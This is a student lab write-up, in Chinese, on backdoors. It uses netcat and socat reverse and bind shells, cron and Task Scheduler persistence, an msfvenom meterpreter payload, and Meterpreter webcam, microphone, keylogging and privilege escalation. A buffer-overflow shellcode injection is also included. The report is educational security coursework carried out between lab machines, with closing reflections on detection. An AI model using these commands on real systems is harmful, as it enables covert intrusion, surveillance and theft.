一, 实验名称
后门原理与实践.
二, 实验目的与要求
. 掌握后门的概念, 知道常见的后门种类, 深入理解后门的运作原理.
. 掌握几种常见的后门工具, 学会利用后门工具进行一些简单操作.
. 增强信息安全意识, 认识到后门的危害性, 提高对后门的防范意识.
三, 实验原理
3.1 后门的概念
后门是指绕过安全控制而获取对程序或系统访问权的方法, 通过它可以绕过正常的认证途径获取对系统的访问.
对于攻击方, 要使用后门入侵一台目标主机或服务器, 首先得有一个拥有后门功能的攻击程序, 这类程序有很多, 包括 netcat 系列, meterpreter,intersect 和 Windows Update 等; 然后要想方设法把后门程序放到目标系统中, 可以通过 U 盘直接拷贝, 钓鱼网站, 攻击并绑定到正版软件中, 发送邮件和暴力攻击等手段, 把后门放进目标系统中; 接下来要想让后门起作用, 就要先把后门运行起来, 对此可以设置开机自启动, 定时启动任务, 关联启动等方式, 这些都可以让后门程序在目标系统中运行起来, 这样可以在目标主机中执行后门权限中的所有操作. 为了让后门可持续性使用, 需要免于被杀毒软件清除掉(恶意代码免杀技术), 还要保证连接的稳定性以免被防火墙拦截(隧道技术, 加密连接, 反弹式连接).
3.2 后门程序
3.2.1 nc
(一)又名 netcat,ncat, 是一个底层工具, 进行基本的 TCP,UDP 数据收发, 小巧精致, 面世已久, 常与其他工具结合使用, 起到后门的作用. Linux 系统和 Mac 系统 (苹果电脑使用的) 往往自带 nc,Windows 系统则需要自行下载, 如果之前没有下载过的话. 下载地址还是本课程在码云上的资料站: https://gitee.com/wildlinux/NetSec/attach_files, 从中可以找到 ncat.rar, 直接点击下载然后解压即可使用.
如上图所示, 点击右侧蓝色的下载链接即可下载. ncat.rar 和 socat.rar 都是本实验要用到的, 需要提前在 Windows 主机上准备好.
(二)下面是关于 nc 工具的一些使用介绍.
计划是在 Windows 主机和 kali 虚拟机之间进行 ncat 的使用练习, 首先分别探知一下两台机器的 IP 地址.
在 Windows 机器中, 在命令行输入 ipconfig 查询.
上图红框所示即 Windows 机器的 IP 地址: 192.168.1.100.
在 kali 中, 可以在命令行输入 ip add 来查询 IP 地址.
上图红框所示部分即为我 kali 的 IP 地址: 192.168.159.130.
关于 ncat 工具的使用, 有一篇文章进行了较为深入的讲解, 参见 https://www.oschina.net/translate/linux-netcat-command?cmp&p=1.
. 在 Windows 中获取 kali 的命令行.
首先在 Windows 中找到 ncat 工具的安装路径.
通常我们进入 Windows 的命令行, 默认的路径是当前登录该系统的用户文件夹, 比如我的用户名是 10983, 那么我一开始进入命令行, 就是进入了该用户文件夹. 我的 ncat 工具存放在桌面上, 我通过 dir 命令查看当前目录下所有的文件及子目录, 看到桌面的名称是 Desktop, 所以就通过 cd Desktop\ncat 命令进入桌面上的 ncat 文件夹, 然后执行命令 ncat.exe -l -p 4313, 在 Windows 上建立一台 ncat 服务器,-l 表示监听,-p 用于指定端口, 指定的是 4313 这个端口, 监听前要确定该端口未被占用. 也可以不用进入 ncat 文件夹, 但在执行命令时要加上 ncat.exe 的完整路径. 相较之下还是先进入 ncat 文件夹比较合适.
在 Win 上开启监听后, 在 kali 命令行中输入 nc 192.168.1.100 4313 -e /bin/sh, 这里填写的 IP 地址是 Windows 的. 此时 kali 的角色就相当于客户端, 向 192.168.1.100(Windows 主机的 IP 地址)的 4313 端口发起了连接请求, 后面的参数表示当它连接成功时执行 / bin/bash, 也就是调用命令行. 这是一种反向连接, 反向 shell 是指在客户端打开的 shell. 反向 shell 这样命名是因为不同于其他配置, Windows 调用 kali 的命令行, 即服务器使用的是由客户端提供的服务.
上图是在 kali 中发出连接申请后的情形.
上图是连接建立后, 在 Windows 上调用 kali 命令行的情形, 我依次输入了 4 条指令, 可以看到输出都是符合预期的.
结束连接的话, 在任意一方都可以结束, 在 kali 一端的话, 在命令行中按下 ctrl+c, 即可以断开连接, 如下图所示:
如上图所示, 断开连接后, 双方的命令行都回归了初始的输入状态.
以此为例, 如果能偷偷建立起这样一条连接的话, 那么服务器端就可以肆无忌惮地入侵客户端的系统, 还可以想办法提权以获取系统最高权限进而为所欲为.
. 在 kali 中获取 Windows 的命令行.
这一步和上一步的操作是类似的, 区别只是把 Windows 和 kali 的角色互换了, 在这里是把 kali 当作一个服务器, 把 Windows 当作一个客户端, 同样是建立起一个反向连接, 服务器 kali 获取客户端 Windows 的服务.
首先在 kali 中输入 nc -l -p 4313, 建立一台服务器用于监听 4313 端口. 监听后的情形如下图所示, 暂时不会有更多提示了.
在 Windows 中输入 ncat.exe -e cmd.exe 192.168.159.130 4313, 连接 Windows 的 4313 端口, 同时示意在连接建立后开启 cmd.exe, 这正是 Windows 的命令行.
上图是在 Windows 中发出连接请求后的情形.
如上图所示, 在 Windows 发出连接请求后, kali 这边输入命令行后原本空荡荡的命令行也出现了 Windows 命令行的提示符, 并且路径也正是和 Windows 命令行的当前路径是一样的, 都是在 ncat 文件夹下. 我们可以在这里进行一些测试, 比如 dir 命令, 结果如下.
这样 Windows 主机桌面 ncat 文件夹里面的文件和目录就都显示出来了. dir 原本不是 kali 中的命令, 不会在 kali 中得到执行, 但一旦我们调用了 Windows 的 shell, 就可以用 Windows 的 cmd 命令了. 再测试一个命令: ipconfig.
上图红框所示部分即为 ipconfig 查询到的 IP 地址, 从中可以看出, 虽然是在 kali 中执行的查询 IP 地址的命令, 但是由于查询环境是 Windows 的命令行, 所以查到的 IP 地址还是 Windows 主机的 IP 地址: 192.168.1.100, 而不是 kali 的.
如上图所示, 在 kali 中输入 exit, 就退出了正在调用的 Windows 命令行, 连接断开, Windows 和 kali 双方的命令行都恢复了正常的待输入状态.
. 为 Windows 和 kali 建立实时通信连接.
在 Windows 命令行输入 ncat.exe -l 4313, 启动 ncat 服务器监听 4313 端口. 同时在 kali 命令行输入 nc 192.168.1.100 4313, 这里填的是 Windows 的 IP 地址及其监听的端口号, 以此连接到 Windows 主机的 4313 端口.
在连接建立过后, 双方就可以在各自的命令行进行对话了. 如上图所示, kali 在上面, Windows 在 kali 下面, 一方发出来的信息, 都可以被另一方及时接收到.
.Windows 向 kali 传文件.
首先在接收方也就是 kali 侦听指定端口, 然后将一个指定的文件发送出去, 这个文件必须首先存在, 命令为: nc -l -p 4313> 4313.txt, 文件名没有加地址前缀, 要求必须存放在当前目录下. 然后在发送方也就是 Windows 端, 向接收方的地址 (kali 的 IP 地址和侦听的端口号) 发送文件, 命令是: ncat 192.168.159.130 4313 < 4313.txt. 这个命令一经执行, 当前目录下就出现了一个名为 4313.txt 的空白文件, 然后随着传输的进行这个文件会被逐渐填满变得和发送方发送的文件一模一样.
上图是发送方要发送的文件的示意图, 可以看出这是一个 txt 文件, 里面内容如上, 存放在桌面的 ncat 文件夹里.
上图是在 kali 接收文件的示意图, 可以看出文件已被成功接收.
. 从 kali 向 Windows 发送文件.
先是在 Windows 上侦听指定端口, 比如 4313, 将收到的数据存储在一个指定的文件中, 命令是 ncat -l -p 4313>4313.txt. 然后在 kali 中将文件发送到 Windows 上, 地址是 Windows 的 ncat 服务器侦听端口, 命令是: nc 192.168.1.100 4313 <4313.txt.
上图是 kali 发送文件的示意图, 可以看出文件内容, 文件名等信息. 待传送的文件名是什么, 那么传文件命令中的文件名参数就得是什么.
上图是在 Windows 中的接收文件的截图, 这个命令里面的文件名参数是自拟的, 自己定好之后, 当前目录下就会出现一个空白文件, 这个文件的名字就是命令中指定的那个. 上图中命令行里有两个文件接收命令, 两个都可以用, 区别只是文件名参数不同, 只要连接是通着的, 那么在当前目录下就可以收到两个内容相同但文件名不同的 txt 文件. 在上图中我验证了 43131.txt 这个文件, 其内容和 kali 传过来的文件是一模一样的, 说明传送成功了. 由于双方的连接一直没有断开, 我就在 Windows 的命令行这边按下了 ctrl+c, 以结束连接. 由上图可看出命令下面都有一个提示符, 那就是按下结束连接的按键时提示的. 如果连接一直不断开的话, 什么时候结束连接, 就看接收方的文件大小吧, 如果大小和发送方发送的文件大小一模一样的话, 那十有八九就是已经完全接收了.
3.2.2 Meterpreter
Metasploit 中的 Meterpreter 模块在后渗透阶段具有强大的攻击力, meterpreter 的常用命令, 脚本及使用方式包含信息收集, 提权, 注册表操作, 令牌操纵, 哈希利用, 后门植入等. 本实验用这个东西只是一种比较肤浅的使用, 简单输入命令的那种, 没有复杂的设计过程. 详细介绍可见 https://xz.aliyun.com/t/2536, 这里不作过多摘抄, 后面有实验内容会涉及.
四, 实验内容
4.1 使用 netcat 获取主机操作 Shell,cron 启动
前面在介绍 nc 工具时进行过简单的获取主机操作 Shell, 这里会完成该操作的进阶版本, 即定时自动连接, 这样就不用手动连接了, 也就更像一个后门该有的样子了.
首先在 kali 中输入 crontab -e, 然后选择第三个编辑器进入编辑, 这次选过之后, 以后就默认是这个了. 之后就可以添加定时任务.
进入编辑界面后, 按下 a 键, 此时可以开始编辑, 此时在最下面一行添加这样内容: 43 * * * */bin/netcat 192.168.3.26 5215 -e /bin/sh. 星号代表运行时间, 分别是 : 分, 时, 日, 月, 每周七天中的某天. 星号代表任意值, 都是星号的话也就是说, 任意年, 任意月, 任意时, 任意分, 任意日, 都执行后接的命令. 时间格式如下:
如上图所示, 在编辑界面的最后一行添加如上信息, 表示在每小时的 43 分钟都会连接到 IP 地址为 192.168.1.100 的主机的 4313 端口, 让他 (Windows) 调用自己 (kali) 的命令行, 这正是一个典型的反弹连接. 这条命令能够成功执行的前提是, Windows 主机已经建立了一个侦听自己 4313 端口的 ncat 服务器. 毕竟连接是双向的, 一方发出了申请, 另一方连门都不开的话, 这样肯定建立不了连接.
编辑完成后, 按下键盘左上角的 Esc, 紧接着直接输入: wq, 然后回车, 就可以保存退出了. 这样就完成了新的定时任务的添加. 等定时任务快开始时, 就在 Windows 的命令行输入 ncat.exe -l -p 4313, 这代表 Windows 开启了一个 ncat 服务器, 随时监听 4313 端口, 一旦收到连接请求就可以考虑同意建立连接. 这样, 当时间一到, kali 的定时任务开始执行后, kali 就会反弹连接 Windows 主机, 这时候 Windows 主机刚好在监听, 那么建立连接就是水到渠成的事了. 这里最好实时验证, 也就是刚添加完定时任务就立刻验证, 所以定时的时间最好是几分钟后. 如果时间久了, 比如第二天再想来验证一下能不能建立连接, 这时候 Windows 的 IP 地址可能就发生了改变, kali 的定时任务即使执行了, 也会因为苦于找不到目的地而失败. 要想成功, 就得根据 Windows 的最新 IP 地址修改 kali 的定时任务. 所以为避免麻烦还是实时验证实时截图比较好. 这和之前介绍 ncat 工具时做的反弹连接是类似的, 连接建立成功的截图都是一样的, 只不过 kali 的反弹连接请求由自己手动发出改为系统定时发出了.
在每小时的第 43 分钟后(上图所示为第 44 分钟),kali 已经向计划任务中指定的那个 IP 地址的指定端口发起了连接请求, 在 Windows 这边, 如上图所示, 提前准备好监听, 等时间一到自然就连接上了. 此时输入 kali 指令 ls, 输出结果是符合预期的.
4.2 使用 socat 获取主机操作 Shell, 任务计划启动
在 Windows 主机上按下 win+r, 输入 compmgmt.msc 唤出计算机管理界面, 在这里创建一个新的定时任务.
上图就是本地计算机管理界面, 先后点击上图中第 1,2 个红框, 创建任务.
在创建任务界面, 一共要填够三大项内容, 分别是上图所标示的 1,2,3 三部分. 在第 1 部分填写一个便于识别的用户名称, 其他默认即可.
在第 2 部分选择新建一个触发器, 无论如何能够让任务触发即可, 这一部分设置灵活性较高. 我选择按预定计划开始, 时间就设在执行这一步操作的不久之后, 以便于随做随验证. 其他设置默认即可.
触发器设置好以后, 会有上图所示的信息. 接下来进行第 3 步, 新建一个操作.
这里是使用 socat 工具获取 Windows 主机的 Shell, 所以在程序或脚本这一项需要填写 socat 工具的路径, 具体到 socat.exe 这个应用程序, 这是需要事先下载好的, 前文有提到过. 在参数方面, 需要填写 tcp-listen:4313 exec:cmd.exe,pty,stderr, 这个命令的作用是把 cmd.exe 绑定到端口 4313, 同时把 cmd.exe 的 stderr 重定向到 stdout 上.
这样就添加了一个新的任务计划程序, 并且从上图红框可以看出它正处于准备就绪状态, 到点就开始运行了, 即使错过了定时的时间点, 也可以直接右键单击该任务然后选择执行, 这样可以随时执行.
上图即是运行状态下的新任务. 开始运行后, Windows 会弹出一个命令行窗口, 让它开着不要关闭. 此时在 kali 中输入 socat - tcp:192.168.1.100:4313, 通过 socat 方式连接 Windows 主机的 tcp4313 端口.
如上所示, 双方通过 socat 成功建立起了连接, kali 调用了 Windows 主机的 Shell, 并且这个 Shell 当前所在的目录是一个系统文件夹, 我们用 dir 命令来查看一下的话, 可以发现有海量的文件和文件夹.
在当前页面按下 ctrl+c, 可以断开 socat 连接. 不用这个连接后, 可以回到任务程序计划库, 将正在运行的任务关闭, 让其回归就绪状态, 如下所示:
4.3 使用 MSF meterpreter(或其他软件)生成可执行文件, 利用 ncat 或 socat 传送到主机并运行获取主机 Shell.
在 kali 中运行命令: msfvenom -p Windows/meterpreter/reverse_tcp LHOST=192.168.159.130 LPORT=4313 -f exe> 20174313_backdoor.exe,IP 地址填 kali 的, 该命令执行成功后, 会生成一个后门可执行程序: 20174313_backdoor.exe, 文件名是自拟的, 文件后缀是前面参数 f 设定好的. 文件成功生成的截图如下:
由上图可知这个可执行文件大小约为 73KB, 然后, 在 Windows 命令行中进入 ncat 目录下, 执行命令 ncat.exe -l 4313> 20174313_backdoor.exe, 这样被控主机也就是 Windows 主机就进入了接收文件模式, 在 kali 中执行命令 nc 192.168.1.100 4313 <20174313_backdoor.exe,IP 地址填 Windows 主机的, 将刚刚生成的文件从 kali 发送到 Windows 主机.
上图红框所示即为 Windows 主机从 kali 那里刚刚接收到的后门文件. 我在接收文件的时候, 发现无论是 Windows 还是 kali 端, 命令行都是处于刚刚输入完命令的样子, 没有新的提示, 也不知道文件传完了没有. 我就在 Windows 端的 ncat 文件夹里隔段时间刷新一下看 20174313_backdoor.exe 文件的大小, 因为在 kali 中已经获悉了该文件的具体大小, 那么只要在 Windows 中看到这个文件的大小已经够了, 那就可以用 ctrl+c 中断连接了.
下面在 kali 中输入 msfconsole, 进入 MSF 控制台.
上图选自码云本课程的后门实践讲义, 详细介绍了在 MSF 上打开监听的步骤.
进入控制台后, 输入 use exploit/multi/handler, 使用监听模块; 然后输入 set payload Windows/meterpreter/reverse_tcp, 使用指定的 payload, 它与生成后门程序时使用的 payload 必须是一样的; 生成后门程序是使用的 IP 地址和端口号, 也都要和刚刚生成后门程序时的一致.
如上图所示, 在命令行中一直输入命令直到 exploit, 此时 kali 试图建立一个针对本机 4313 端口的反向 TCP 连接. 接下来需要在 Windows 上运行一下刚刚从 kali 那里接收到的后门程序, 运行时可能会被杀毒软件提示有问题, 这里毫无疑问是选择信任自己而不是杀软.
我的这次运行被联想电脑管家拦截住了, 我在杀软里选择信任该程序, 然后再次运行, 此时 Windows 端会主动连接 kali, 连接成功后, kali 这边就获得了 Windows 的命令行.
此时就可以在 kali 端操作 Windows 端了, 比如, 在这里输入 dir 命令, 查看此时 Windows 端命令行所在的目录下都有哪些目录和文件.
如上图所示, 这对于一个指定目录下的全部内容来说相当于是被彻查了户口, 包括权限, 大小, 类型, 最后修改时间还有文件名.
4.4 使用 MSF meterpreter(或其他软件)生成获取目标主机音频, 摄像头, 击键记录等内容, 并尝试提权.
以下都是在 kali 上针对 Windows 端的后门操作.
. 获取音频.
输入 record_mic, 获取 Windows 主机所处的物理环境下的一段声音. 获取完成的音频会被存储在一个指定的路径, 我们找到这个路径, 果然发现了刚刚录的音频. 它还有好多厉害的参数, 参见这里.
. 获取摄像头.
输入 webcam_snap, 调用 Windows 端的摄像头拍个照然后存储在一个指定的路径. 拍完之后照片会直接显示出来, 还可以找到这个路径, 把照片拖到 Windows 端的桌面上, 在 Windows 上照样可以查看.
. 获取击键记录.
keyscan_start 作用是打开键盘记录, keyscan_stop 是结束键盘记录, keyscan_dump 是导出键盘记录.
上图红线强调的部分即为从打开键盘记录后到导出键盘记录之间我所敲打过的按键都有哪些.
. 获取截屏.
输入 screenshot, 获取 Windows 端的实时屏幕截图, 同时也有截图的存储路径.
. 提权通过后门入侵到目标系统, 攻击者往往会想方设法提高自己入侵身份的权限, 提到最高权限最好, 那样可以在被入侵的系统中执行任意操作, 真的就是做到了为所欲为. 在 Windows10 中, 由于 UAC(User Account Control, 用户账户控制)更新得比较先进, 所以简单的一条提权指令是不能成功执行的, 会给出失败提示, riv_elevate_getsystem:Operation failed: The environment is incorrect. The following was attempted:[-] Named Pipe Impersonation (In Memory/Admin)[-] Named Pipe Impersonation (Dropper/Admin)[-] Token Duplication (In Memory/Admin). 放进百度翻译, 大意是说环境不正确, 提权指令 riv_elevate_getsystem 失败, 哪些操作失败了呢? 有三个操作, 分别是上面三个减号后面的东西, 总之 kali 就是说它很努力了但还是不成功. 我在完瑞同学的博客中找到了这篇博客, 我从中找到了一种能够成功提权的方法.
首先还是先输入 msfconsole, 进入 MSF 命令行, 进行如下操作:
如上图所示,
输入 use exploit/multi/handler, 获取 multi/hander 模块.
输入 use exploit/Windows/local/ask.
输入 set payload Windows/meterpreter/reverse_tcp, 指定 payload.
输入 set lhost 192.168.159.130, 这里填 kali 的 IP 地址.
输入 set filename win_update.exe.
输入 set session 1, 设定会话序号.
输入 options, 可以查看当前在 Windows/local/ask 下面的设置都有哪些.
以上便是先前输入的那么多命令的设置效果, 这些设置都到位了. 下面继续输入 exploit, 执行刚刚生成的 win_update.exe 文件. 执行之前得确保杀毒软件没有开着, 否则会出现类似于下面的情况.
这是联想电脑管家给出的风险提示, 给出提示的时候它已经中断了 exe 文件的执行, 所以我需要在命令行中再执行一遍, 也就是再输入一次 exploit, 下面是执行效果.
如上图所示, 这时候再输入 getsystem, 就会出现成功获取系统权限的提示, 后面还跟了一个获取的途径. 成功提权后, 自然就可以执行很多普通权限下无法执行的操作.
4.5 (选做)使用 MSF 生成 shellcode, 注入到实践 1 中的 pwn1 中, 获取反弹连接 Shell
首先是设置堆栈可行并且关闭地址随机化, 设置完要紧接着验证一下. 这样设置是为了简化实验过程, 为本操作的成功执行创设条件. 我们用 execstack -s pwn1 来设置堆栈可行, 用 execstack -q pwn1 来验证堆栈可行有没有设置成功, 看见 "X 文件名" 这种格式的输出就代表设置成功了; 用 sudo sh -c "echo 0> /proc/sys/kernel/randomize_va_space" 来关闭地址随机化, 作用是往一个指定的文件里写了一个 0, 用 more/proc/sys/kernel/randomize_va_space 来验证有没有关闭成功, 这一条命令的输出如果是 0 的话就表示关闭成功了, 因为刚刚写的就是 0, 否则, 非 0 的输出都表示没有关闭成功. 一般都能关成功的, 只要命令执行成功了. 下面是我执行这些指令的经过.
为了完成以上操作我还特意回顾了下我的实验一博客, 因为我还是出现了权限不够的问题. 另外需要注意一点的是这些命令应该在 pwn1 所在的文件夹里执行, 否则就要在 pwn1 前面加上该文件的地址.
下面需要做的, 和实验一的第三个操作就很类似了, 我们需要通过这个操作找到 getShell 函数的首地址. 然后把首地址写入下面这段代码中:
perl -e 'print"A"x 32;print"\x**\x**\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"'> input_2
上面代码中的 16 进制数部分有四个星号, 这四个星号加上后面的 ffff(一般都是这个, 不会变的, 只有前四个不同的人可能会不一样), 组到一起就是上面提到的首地址, 这是我们要寻找的东西. 如何寻找呢? 大家可以回忆一下自己实验一的这部分操作是如何完成的. 简单来说, 是需要两个命令行窗口(确保堆栈可用和地址随机化都已经按规定设置), 第一个, 窗口运行自己的 pwn1 文件, 比如在文件所在的目录下输入./pwn1. 然后在第二个窗口, 输入 ps -ef | grep pwn1, 查看 pwn1 的进程号, 比如我的是 7768, 我先记下这个值. 然后在当前命令行中开启 gdb 工具.
如上图所示, 输入到 gdb 后, 接下来会出现很多启动信息, 不用管直到自己可用输入内容为止. gdb 启动完成后, 我们输入 attach 7768 调试进程, 参数用到了刚刚查到的进程号.
输入过上面那条指令后, 命令行又会给出许多信息, 照样不用管直到下一个可用输入指令的时候.
在上图 1 所指的位置, 输入 disassemble foo, 对 foo 函数进行反汇编, 下面是得到的反汇编结果. 我们找到其中的返回地址, 也就是 ret 操作的地址, 然后在上图 2 所指的位置, 用 break 命令在返回地址处设置断点.
在第一个窗口按下回车键, 再回到第二个窗口输入 c, 运行一下直到断点.
这时候我们继续在 gdb 下输入 info r esp, 查询 esp 寄存器当前的地址. 这个地址加上四, 就是我们要注入的地址. 对我来说是 0xffffd320. 将其填入上面提到的 Perl 语言中, 从前往后四个星号分别填 2,0,d 和 3. 因为两个十六进制数是一个字节, 并且又是小端优先的输入规则, 所以是这样一个输入顺序.
上图是反弹连接建立成功的结果截图. 如上图左端所示, 下面第一个蓝色星号表示开始建立反弹连接, 当右边界面的命令行执行过 (cat input13;cat) | ./pwn1(input13 是 perl 语言执行过后生成的文件, 我们要把它注入到 pwn1 文件中去) 后, 并且回车了以后(得 2 次回车, 不要因为 1 次回车没有效果就推倒重来), 上图左端才会出现第二个蓝色星号部分, 表示连接会话 session 1 已经打开, 后面附上了通信双方的 IP + 端口号以及连接建立的时间.
上图是我在连接成功后做的测试, 测试端在左边的命令行中, 我先后输入了两条指令, 都得到了符合预期的结果. 我开启了两个命令行窗口, 这种反弹连接的效果, 相当于是左边的命令行调用了右边的命令行, 能够获悉右边用户的状态, 信息.
五, 实验感想和思考
(1)例举你能想到的一个后门进入到你系统中的可能方式?
访问的网页遭受了攻击, 该网页被修改成可用自动触发一个新的标签页, 这个页面的尺寸是 0, 相当于是已经打开了但是自己不知道, 这个新页面可以利用浏览器漏洞不经用户同意就下载东西, 比如后门. 这样, 一个后门程序就神不知鬼不觉地进了自己的电脑中, 而在这个过程中自己完全不知情.
(2)例举你知道的后门如何启动起来 (win 及 Linux) 的方式?
定时任务启动, 这也正是本实验做过的内容, Windows 里有任务计划程序库可以添加新的定时任务, 在 kali 中可用通过 crontab 编辑添加新的定时任务. 这样的话, 后门就可用到时自动启动. 其他方式还有开机自启动, 绑定到正常程序中随正常程序的启动而启动, 或者干脆伪装成一个常用的程序, 用户会不小心点到它.
(3)Meterpreter 有哪些给你映像深刻的功能?
截取音频, 屏幕截图, 拍照和击键记录, 这些都是实验做过的东西, 自然印象深刻, 至于提权的话, 由于只是简单提了一下而没有做更多的探索, 所以没有太深的感触, 但有一点毫无疑问, 即权限被提高到了最高的话, 那就可以在系统里面为所欲为了.
(4)如何发现自己有系统有没有被安装后门?
使用新款的流行杀毒软件监控自己的系统, 被它监控不怕, 因为它是好的, 正规的软件. 一旦有后门试图入侵本机, 就会被杀软拦截查杀. 比如本实验用的后门程序, 全世界都知道那是个后门, 所以我一启动, 联想电脑管家就给我提示了. 有些情况下杀软再高明也看不出来那是个后门, 如果感觉自己有被监控的迹象, 可以看一看任务管理器, 都有哪些进程再运行, 看看有没有陌生的进程, 眼睛需要细到玩文字游戏的地步, 比如 Windows 和 Windwos, 后门可能会这样伪装来逃避检测. 还可以结合端口号进行查看, 哪些端口号是自己感觉很陌生的, 就有必要重点关注. 无论如何, 只要发现了后门, 就有应对措施和解决办法, 首先肯定是尽最大努力保护个人隐私, 亡羊补牢为时不晚. 然后想方设法根除掉后门, 自己不行的话就找电脑技术更高明的人帮忙.
本实验整体做下来, 感觉在难度上比实验一简单些, 只是执行一些连接指令, 有参考的话还是能够很轻易做下来的. 我们只是简单接触到了后门这个东西, 没有学习如何开发后门, 也没有掌握如何防御后门, 仅仅是通过几个非常简单的后门工具做了一些基本操作, 实验最大的收获还是在信息安全警惕意识方面, 它让我对信息安全隐患又有了新的, 更深层次的认识, 脑海中知道的跟把知道的亲手做一遍是完全不同的两种操作. 我对信息安全技术的敬畏之心因此而有了深化, 同时我对信息安全技术的兴趣也更加浓厚了, 期待以后能探索更多类似的知识!
来源: https://www.cnblogs.com/zb20174313/p/12506765.html